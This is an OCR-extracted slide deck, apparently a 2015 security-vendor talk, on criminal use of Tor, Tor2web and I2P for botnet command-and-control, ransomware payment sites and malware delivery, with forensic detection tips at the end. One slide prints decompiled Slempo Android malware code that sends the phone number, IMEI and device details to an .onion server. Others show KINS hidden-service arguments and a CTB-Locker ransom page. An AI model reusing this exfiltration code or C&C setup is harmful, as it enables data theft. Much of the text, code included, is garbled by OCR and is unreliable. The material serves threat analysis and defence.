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W “A man is least himself

when he talks in his
own person,

But give him a mask
and he will tell you
the truth”
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Deep Web

e part of the Internet that is inaccessible to
conventional search engines, and
consequently, to most users.
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http://searchwindevelopment.techtarget.com/definition/Internet
http://searchsoa.techtarget.com/definition/search-engine

WHAT’S OUR STORY?




What's our story

How it all began?

How do cybercriminals exploit this
technology?

What can we do to investigate?
What’s next?
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HOW IT ALL BEGAN?




Botnet Topology
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Botnet Topology (cont’d)

* Multi-server ()
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Takedowns.. Everywhere..

ADVERTISE 5|
LOGIN |

NEWS PRODI

FOR IT SECURITY BROFESSIONALS

TRENDING: MAND flash hits adeadend - Ballmer's phone blunder cost Microsoft $108

l L}
Home > Security = Malware & Vulnerabilities

MEWS

Popular Now:

Resources/White Papers

?CIﬂagazine UK = News = NCA partners with FEI, Europol to MaSSive bOtnelt takedown StOPS spread Of

r. Senior Reporter

W Follow @DougDrinkwater

July 10, 2014

NCA partners with FBI, Eur
Shylock Trojan

Share this article: n u m m

The UK's National Crime Agency has been working v
infrastructure behind Shylock Trojan, malware which
accounts.

The action is said to be the first of its kind for UK

law enforcement agency, with the NCA joining

forces with those in the public and private sectors

to seize control of the command and control

(C&C) servers for the Trojan, as well as the

domains which the malware uses to communicate o
between infected machines

Partners in the take-down included the FBI,
Europol, GCHQ and the German Federal Police
as well as security solution and service providers
such as BAE Systems, Dell SecureWorks and
Kaspersky Lab. -
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Cryptolocker ransomware

Hackers made millions from sophisticated extortion
racket

By Gregg Keizer

PM PT

RELATED TOPICS The takedown earlier this week of a major malware-

Malware & spewing botnet has crippled the distribution of

Vulnerabilities Cryptolocker, one of the world's most sophisticated

Cybercrime & examples of ransemware, a researcher said today.
Hacking

But replacements already stand in the wings, prepared to
Microsoft

take Cryptolocker’s place.

“Since last Friday. we've seen no new activity and no new
infections,” said Keith Jarvis, a security researcher at Dell
SecureWork's Counter Threat Unit (CTU), referring to
Gameover Zeus, a two-year-old botnet that .5, and
foreign authorities took down in a broad coordinated
campaign announced Monday. Gameover Zeus had been
the sole distribution channel for Cryptolocker

Other experts corroborated Jarvis's account.

MORE LIKE THIS

1.5., forsign agents disrupt Gamover Zeus
botnet

Wham bam: Global Operation Tovar whacks
CryptoLocker ransomware & GameQver...

Feds declare big win over Cryptolocker
ransomware

on IDG Answers =
How to protect against Android
ransomware?
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Deep Web traffic is Encrypted.

Encryption Key 1

Encryption Key 2

IP Address of Next Node

Encryption Key 2

IP Address of Next Node

Encryption Key 3

Encryption Key 3

IP Address of Next Node

Encryption Key 3

IP Address of Next Node

Data

IP Address of Next Node

Data

Data

Data
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Deep Web offers Deception.

e

uhwikih256ynt57t.onion

L] :

Infected Machine

Ip4t52xp5vihyhkb.onion

e

s6cco2jylmxgcdeh.onion
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C&C Server
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Deep Web provides Resilience and High Availability.

Q -8

Infected Machine Ip4t52xp5vihyhkb.onion
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HOW DO CYBERCRIMINALS
EXPLOIT THIS TECHNOLOGY?




Tor - The Onion Router
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Hidden Services

HIDDEN
SERVICE

3
em) S .
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KINS

SECURITY INTELLIGENCE BLOG

Threat News and Information Direct from the Experts

Bad Sites  Botnets CTOlInsights Exploits Internetof Things Mac  Malware  Mobile  Saocial

blog.trendmicro.com Sites = TrendLabs Security Intelligence Blog = Malware = 64-bit ZBOT Leverages Tor, Improves

Evasion Techniques

n 64-bit ZBOT Leverages Tor, Improves Evasion Techniques

7 8:48 am (UTC-7) | by Anthony Joe Meaigarsjo (Thraat Response Enginsar)

% sere ] veconmera NS F CIRE

Reports have surfaced that ZeuS/ZBOT, the notorious online banking malware, is now targeting 64-bit systems.
During our own investigation, we have confirmed that several ZBOT 32-bit samples (detected as
TSPY_ZBOT.AAMY) do have an embedded 64-bit version (detected as TSPY&4_ZBOT.AANP). However, our
investigation also lead us to confirm other noteworthy routines of the malware, including its antimalware evasion
techniques.

Spam
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KINS - Static Analy5|s
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KINS Infection Flow
@ Tir [)23318

a— Tortoted] o m 26824

+ Installation f

!

O

I
o

v/

m Inject
_> AP EERRE _> svchost.exe
& o

--HiddenServiceDir "%appdata%\tor\hidden_service"
--HiddenServicePort "1080 127.0.0.1:23318"
20 Copyright 2015 Trend Micro Inc. --HiddenServicePort "5900 127.0.0.1:26824"
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Tor pre-requisites

Tor Browser Installation
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Tor2web

TOR2\V

Copyright 2015 Trend Micro Inc.

3

Allows Internet users to access
Tor hidden services without using
Tor Browser



Using Tor2Web

Tor:

* http://duskgytldkxiugc6.onion

Tor2web:

Ntt
Ntt

Ntt

n://d
n://d

0://0

* etc...
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us
us
us

Kgyt
Kgyt

Kgyt

KXIUQ
KXIUQ

KXIUO

c6.tor2web.org
c6.onion.to
c6.onion.cab



CTB-Locker - Overview

“—e—0

CTB-LOCKER

ECDH l BITCOIN

TorProject.

iectors  TOR2WEB
TOR AND TOR2WEB
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CTB-Locker Infection Flow

* Installation

S 5

H D CTB-LOCKER ENCRYPTS FILES RANSOM NOTE

!
&
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ll‘ Public Key
FAY Bitcoin Address
Payment Site

Inject

ENCRYPTION KEY
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CTB-Locker: Payment Sites

Server accepts payment in Bitcoin (BTC) only.
If you have bitcoins:

1. Pay amount of = BTC to address:
2. Transaction will take about 15-30 minutes to conrirm.

If you do not have bitcoins:

Ehter' Yﬂur pUbIIC k 1. Open one of the exchangers:
https://en.bitcoin.it/wiki/Buving bitcoins
https://btedirect.eu/
you pu bli :nlpsi :’vv.ww:l)ith‘ont‘net /it/buy
- ttps://bitonic.nl
and select exchange in your country and currency.
Or open https://localbitcoins.com/ and find person who sells bitcoins near you.

Buy  BTC (about of 690 USD) and make direct deposit to bitcoin address:
Exact payment amount can vary depending of exchange rates.
4. Transaction completion may take several days.

Reload this page in 15 minutes. After transaction completes you wiil be redirected to decryption page.
Don't worry if some errors occurs and connection was broken. Wait 15 minutes and press F5.

To make sure that decryption is possible you are allowed to decrypt 2 any files for free. File size is limited up to 1 Mbyte.

Encrypted file: [EERTE Nofile selected [ Upload |

Copyright 2015 Trend Micro Inc.
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Blocked Payment sites

O ror2e3

Tor2web Error: Access Denied to Entire Hidden Service

Access to this Hidden Service has been completely blocked

It may happen that Tor2web maintainers have to block proxy access to certain explicit
illegal contents in order to keep the network up and running. In such case you can still
access the content directly by using Tor, that's because Tor2web just acts as a proxy server
and the content is on a Tor Hidden Service.

Copyright 2015 Trend Micro Inc.
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CTB-Locker: Leveraging Tor2web availability

File pos | Mem pos ID | Text

A 000000000001  0OOOOODO0O0O001 0 onion.gq

A 000000000019 DOQOOODDODOYS 0 ohion2web_confirmed=true
A 000000000030 00O0DOODOOOO3D 0 onion. It

A 000000000055  00OOO000000SS 0 disclaimer_accepted=tue
A 000000000079 00QOQO000007S 0 tor2web.fi

A 000000000051 000DO000000 0 dizclaimer_accepted=tiue
A 0000000000BS  QOOOOOOOOOBS O tor2web.org

A 0000000000CD  00OQO000000CD 0 disclaimer_accepted=tue
A 0000000000F1  QOOO000000FT 0 tor2web blutmagie. de

A 000000000103 000000000109 ] disclaimer_accepted=tue
A 000000000120 OOOOOODODOIZ2D O onion.cab

A 000000000145 0000000001 45 0 onion_cab_iKnowShit=1

A 000000000165  DOOODODDDO1ES 0 Mozilla/5.0 (wWindows NT B.2; Winb4; x64) Apple\/ebKit/537 .36 [KHTML. like Gecko) Chrome/37.0.2049.0 Satan/537.36

Copyright 2015 Trend Micro Inc.
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Advantages of Malware using Tor2web

* No need for Tor installation
* No Tor network traffic in the system
* Availability of variety

29 Copyright 2015 Trend Micro Inc.
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12P - Invisible Internet Project

og 00

CLIENT OUTBOUND TUNNELS SERVER INBOUND TUNNELS

I T ——

HTTP REQUEST

DELIVERY STATUS >
DATABASE STORE DELIVERY STATUS
3
CLIENT ERVER
ROUTER ROUTER
WEB
1 D SERVER
D¢- — <=
AED AN JAEED AR
CLIENT INBOUND TUNNELS SERVER OUTBOUND TUNNELS
Copyright 2015 Trend Micro Inc. ,’ IRIEEE







Dyre capabilities

System
Informatiom

12P::

n
Cc

T
@
T
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Dyreza: Call Home via I12P




Dyreza: Domain generation algorithm

|Protocol | Info




As Malware Support Portal

AnA wx socoTanoanemn HeoSxoamuo nonysHTs Baw wnon

Kpartko: (Brief) HAeranbHo: (Instructions)

Cxavanre Tor Opayaep ¢ od. canta NS INe

Heobxoaumo npouasecTu 3 wara

3anaure Ha HawW canT ucnonblya Tor

3anaure Ha Haw seb-pecype
Monyyure CBOH KNIOY

Boccranosure hannsbi te paliomer?.

ADTOPVIMPYRTECH Nomyunre rapasTmm Krsou

VadtCrygdt [Pvemdnninm [ 1o

FRORED v ant

CAN RATO Voot o el Pote 1: Bas re (MORETE BICC THOSWTh SO () P emird et

Note 2 Nepas anvigeoagmd umwm file
Note 3.

Crommocn © D POCYPLE ma OR BRI IR

o 10t S ey MR TR el egn g e
Dawee wiy 0Ty Booww D Wyt oy

j=ecs)
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http://restoredz4xpmugqr.onion Support Portal URL



As Malware Support Portal (cont’d)

S8 a R | (' ) 0 restoredzdxpmugr.onion v | |a - Startpage ,':‘|| =

ABTOpM3aLNA NCNONb3YA KU 3aperncTpupoBaHHble

HMCNOMNBZEYH PERBIZK ThI

a SACPYIIATE WAULT KEY
Upload | -on |
@ Bui6patb kmou —> key | e I
file
o BORTK




As Malware Support Portal (cont’d)

KoHcynbTaHT

Mbl 0TKpRITE! K guanory. Muwure

Real-time Chat
Technical
Support

S e B R S B R B B _

Working Hours [ype your message..

Mon-Fri: 8am - 11pm

Sat-5un: 9am - 10pm
Timezone uTE
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As Command and Control Server

* Slempo — Android Backdoor malware
* Trojanized version of Orbot
* Backdoor Commands

9/ B
— \ Pl e 217DX-2AALRU1
| YeokO W easti Praha 9 869222002618569
- ol ol 869222002618577 o
LR IOCELCLETECEELR I L
!CIarion Congress
Hotel Prague
27 Sep-2 Oct
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As Command and Control Server (cont’d)

pubilic scatic void sendCheckDaca (Concext Cconcext]

{

SharedPreferences sharedpreferences;
JESCMN O ject jsonobject:

sharedprefersnces context.geciharedPreferences ("LppFPFref=", 0O} :
Jzanckhject = new JSCHNObJject (]

String =2

Jzaoncbject.put [Toype, Tdewice check®)

JEanchijece . pue ["phons nunber”, Toils.getPhoneNumber (context) ] ?

Jzanckhject.put ["ocouncry®, UTtila.getCountrey(context) 2

jJmoncbiject.put [ TineiT, Toils.getCucIMEL (context)] 2 stolen information

J=anchject.put ["mode 1", Utcils.gecModel ()] 2
jJmonobiject.put [To=", Ueils,gecdS()):
Jzoncbhject.put ["olient mwrhest, 10} 2
= jmonobiject . to3tring () ;
cry
i
it (send(context, @ "hotp: /S vyamarwdetassepaip.onion/ ", B2 .gecStatusline () .getStatusCode ()
i
chrow new Exceptioni(] : T
H
break HISSING BLOCE LABEFEL 143:
" - - - TOR URL
catch [Exception exception) { )
Utils.sendlessage (sharedpreferences. get3cring ("CONTROL _WNUMBER™, 7)), =):
EEturmy

JICOMException jsonexception:
d=onexcept 1omn:
JEonedception.printicackTrace () :
EET ey

Copyright 2015 Trend Micro Inc.

z00o)

==
-2
om
2 Z
o0



As File Server hosting malware

 Chanitor, a downloader malware

* |t uses Tor2Web URLs to deploy a banking
trojan, VAWTRAK in the infected system

Mo. Time Source Destination Protocol  |Info
.423606 .0.2. . 0. Standard A time.windows. com

12 10.424023 10.0.2.2 10.0.2.15 DNS standard query response CNAME time.microsoft.akadns.net A 134.170.185.211

89 49.885295 10.0.2.15 10.0.2.2 DNS standard query A api.ipify.org

90 50.331549 10.0.2.2 10.0.2.15 DNS standard query regponse CNAME kanagaws-6612, herokuss ,ﬁom CNAME e1b030890
115 50.774512 10.0.2.15 10.0.2.2 DNS Standard query Ajukzo?3zdinzpenmg. tor2web. blutmagie. de
116 50. 808031 10.0.2.2 10.0.2.15 DNS standard query reé D Harcoded
134 50,920635 10.0.2.15 10.0.2.2 DNS standard query AJukzo?73zdinzpenmg. tor2web. £ l
136 50.982219 10.0.2.2 10.0.2.15 DNS  standard gquery reSpISE T e TITIr oY = Tor2Web
154 51.181572 10.0.2.15 10.0.2.2 DNS standard query Ai ukzo?3zdinzpenmg. tor 2web. org l/ URLs
156 51.210219 10.0.2.2 10.0.2.15 DNS standard query rée : . : . Tr0.
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WHAT CAN WE DO TO INVESTIGATE?




Forensics / Detection

Good sources of information to extract Deep
Web artifacts:

e Command-line arguments
* |nstalled files and folders
e Prefetch (.pf) files
 Network Traffic

42 Copyright 2015 Trend Micro Inc.



Forensics / Detection (cont’d)

 Command-line arguments

SysTracer.exe pid: 1558

Commmahd line : "C:%Documenhts and Settinga’ winxp.ELARLD-WINXPY Desktoph SysTracer ..exe'

b ol o ol ol ol ol ol il ol ol ol ol el el e i ol ol ol ol ol ol ol o

xaocw.exe pid: 430

swvchost.exe pid: 276

Commmand line @ "C:h WINDOWSY syatensiz' svchoat ., exe” ——HiddenServiceDir "C:' Documents and Sectingst winxp. HKARLD-WINEZPY Application
Data\tor\hidden_service" ——-Hidden3ervicePort "1050 127.0.0.1:165558" —--Hidden3ervicePort "5200 127.0.0.1:329352"

wuauclt.exe pid: 103

Commmand line @ "C: WINDOWSY svatems2'y wuauc lt ., exe” JRunStorelsCom3erver Localh [444] S3UID398dfeale594952488d5630943 0aedf??

43 Copyright 2015 Trend Micro Inc. ,’
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Forensics / Detection (cont’d)
<\ Hiew: state ’ . !Em

; AP0PR0RA |Hiew 7.20 (c)SEN
# Tor state file last generated on 2015-84-16 20:34:52 local time
# Other times below are in GMIT
# You *do not* need to edit this file.

EntryGuard Unnamed 542BA1C
EntryGuardfAddedBy 542BA1CE
EntryGuardPathBias 46 49
EntryGuard v235 F3416AARAC641B1060822BCAS1F64DBBA18CS2D8CF

EntryGuardfiddedBy F3416AARAC641B1086022BCAS1F64DBBA18CS2D8SCF 8.2.3.25 2015-84-83
EntryGuardPathBias 36 49

EntryGuard becks E9C8154418544764619D2CCDBAS96B355D7DFF236

Enty l,'(nlldl (md(ln (lli!,- E9C8154418544764619D2CCDAS96B355D7DFF236 8.2.3.25 2015-83-26
Tnn'Ul:r:: ion ](n B.2.3.25

Lastiritten 2015-84-16 12:34:52

ilotalbuirldl imes Y9

CircuitBuildTimeBin 925 2

CircuitBuildTimeBin 975 3

CircuitBuildTimeBin 1825 9

CircuitBuildTimeBin 1875 4

A39E2099B6A47B379865A56358148738
39E2099B6AR47B379865A563581408738 8.2.3.25 2015-84-12

E
A

Copyright 2015 Trend Micro Inc.
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Forensics / Detection (cont’d)

* Prefetch files

File MNamne that was run S3VCHOIT.EXE

Date/Time prefetch file was created Thu Lpr 16 09:55:20 2015
Date/Time prefetch file was modified Thu Apr 16 09:50:06 2015
Date/Time prefetch file was last accessed Thu Apr 16 1Z:34:52 Z015

File 3WVCHOST.EXE wa= run 11 timwes=

Wwom - ®mom e w MN

Lizt of files and Directories whose pages are to be loaded
1a

11 HDEVICEYHARDDISEVOLUMELY WINDOWSY SYSTEM3ZYNTDLL.DLL

1z SDEVICENHARDDISEVOLUMELY WINDOWSY 3¥YITEM3ZYEERNEL3Z.DLL

12 SWDEVICEVHARDDISEVOLUMELY WINDOWSY 3¥YITEM3IZY UNICODE.NLS

14 HDEVICEYHARDDISEVOLUMELY WINDOWSY SY¥YSTEM3IZY LOCALE,.NLS

Copyright 2015 Trend Micro Inc.
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Forensics / Detection (cont’d)

 Network Traffic logs

10.0.2.15 >

46 Copyright 2015 Trend Micro Inc. 0’
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WHAT’S NEXT

47 Copyright 2015 Trend Micro Inc.



Conclusion

* Cyber criminals will continue to use Deep
Web to evade attribution



Over the years..

2012 April 2015 - October 2015 April 2015

Skynet Tox CryptoWall 3.0
CTB Locker
ORX Locker Dyre
Encryptor Raa$ VaultCrypt
TeslaCrypt
Crypt
vl Babar
AlphaCrypt Chanitor
Troldesh Vawtrak

49 Copyright 2015 Trend Micro Inc. , TREND
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Early Majority

1 Maior
Early Adopters ae ‘amrlty

: I_aggards
Innc:-vatr::rs :
2.5% 13.5% 24% 34% 16%

INNOVATION ADOPTION LIFECYCLE
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Conclusion

* Cyber criminals will continue to use Deep
Web to evade attribution.

* More cybercriminal groups will be
attracted to Deep Web.

* Being one-step ahead.



QUESTIONS?
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Conclusion

Thank You !l

Michael John Marcos,
Anthony Joe Melgarejo
October 2015
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